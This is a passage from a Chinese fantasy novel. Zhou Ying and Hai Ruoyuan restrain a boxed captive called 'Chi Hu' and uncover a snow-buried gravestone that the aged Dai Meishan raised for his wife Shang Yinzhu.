这人,难道是商音竹?! 毕竟也没看到脸。 然而,她又极快否定。 原因很简单,戴眉山不可能认不出商音竹。 但依顾曾云的遗言,商音竹一定还活着,并且长居云顶峰。 一瞬间,周盈陷入极大的矛盾,商音竹既然活着,戴眉山亦在云顶峰,为什么她却避而不见? 那一年年末,戴眉山在会稽城受擒,为何商音竹不来救他? 故事看到一半就被强行打断的感觉属实难受,周盈在地上戳了好几下,表示不满。 戴眉山正弯着腰把刚买下的两坛酒搬回屋里,他的步子很慢,慢到僵硬的地步。每一次弯腰,都需要很久才能再次挺直。酒不算重,但对他来说十分费力,两趟下来,筋骨分明的手已经难以抑制地颤抖。 这些细节无一处不在说,戴眉山已经是个老人。 目光移向海若渊,周盈打了个疑问的手势:“接下来怎么办?” 海若渊指了指箱子:“抢赦心铃。” 周盈点点头,有了赦心铃,他们就可以知道当年发生的一切,还有……完成顾曾云的嘱托。 想了想,压低声音,说:“刚才那人很奇怪。一会儿追上去问问。”不管他是不是商音竹,能出现在这里,肯定与商音竹有关。 海若渊“嗯”了一声。 “赤狐”虽暂时受制,但毕竟是罗刹海三煞之一,绝不能疏忽大意。 怕动起手来误伤戴眉山,周盈指了指方才二人偷窥的后窗,又指了指木箱,意思是:“把人搬远点再动手。” 海若渊一点头,将木箱稳稳抬起,开始往屋外移动。 离地一刻,从箱子里传来剧烈的敲打声。周盈脸色微变:“赤狐”知道外面有人动手脚,开始挣扎了。 速战速决,二人不管木箱里的响动,用最快的速度把箱子搬到屋外。 很快,“赤狐”就察觉到箱子被人加了禁制,在木箱即将落地之时,他发狠猛地一撞,咚的一声,箱子在雪地里砸出个深浅不一的坑。 周盈扣住箱盖,低声呵道:“赤狐,不想死就安静点!” 她的威胁没起任何作用。 “你……是什么人?”“赤狐”惊恐地问了一句,随即开始更加猛烈的撞击。 周盈不想让戴眉山听见,决定把箱子搬远点处置,没想到抬着箱子才走了两步,身后猝不及防一痛。 簌簌是落雪的声音,周盈闻声回头,只见桩子上露出几笔字迹。 那是块方方正正的提了字的石板。 不难看出,最下面是一个“竹”字,“竹”字上面是个“日”字。 积雪来时层层堆叠,落时一泻千里。 又是一声极轻的落雪之声。 他们终于确定,石板上露出的两个字是“音竹”。 心中腾起一股莫名而熟悉之感,周盈俯身将石板底部积雪拍得一干二净,这时,她看见了石板全貌——墓碑。 立碑人,是戴眉山。 碑上大字:爱妻商音竹之墓。